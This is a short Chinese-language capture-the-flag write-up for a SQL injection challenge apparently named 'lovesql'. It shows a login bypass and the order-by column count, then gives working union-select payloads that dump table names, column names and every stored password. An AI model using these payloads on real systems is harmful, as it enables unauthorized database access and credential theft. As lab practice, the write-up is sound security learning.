万能密码先试一波
发现直接进去了,但是给了一串不是flag的东西,我拿去解码也没用,我就卡住了
接下来就是查询字段数
这里要注意,可以通过url来判断,前面得是admin,不然是错误登陆,
从一试到四,发现只有三个字段
接下来是联合查询
原理:
union select1,2,3...#
找到了原来表的字段数后写上相同数量的数字,他会构造临时记录(这个操作一般是测试注入点)
当然也可以查询其他的信息比如库的名字和版本
因为第二个查询没有条件
发现这个没效果,因为admin这个记录里存在的值,所以我们试记录里没有的值
回显了2和3,可以猜测第二个字段是我们的名字,第三个字段是密码!
下一步查询表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
当前数据库有两个表,一看就是第二表有flag,题目都叫lovesql
下一步查询字段名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
查出了三个字段
接下来就是查询记录咯
1' union select 1,2,password from l0ve1ysq1#
我太难了,flag还没出???
回想起之前用order by
查询的有三条记录来着
再用group_by全部拼接输出就行了
1' union select 1,2,group_concat(password) from l0ve1ysq1 #
flag就出来了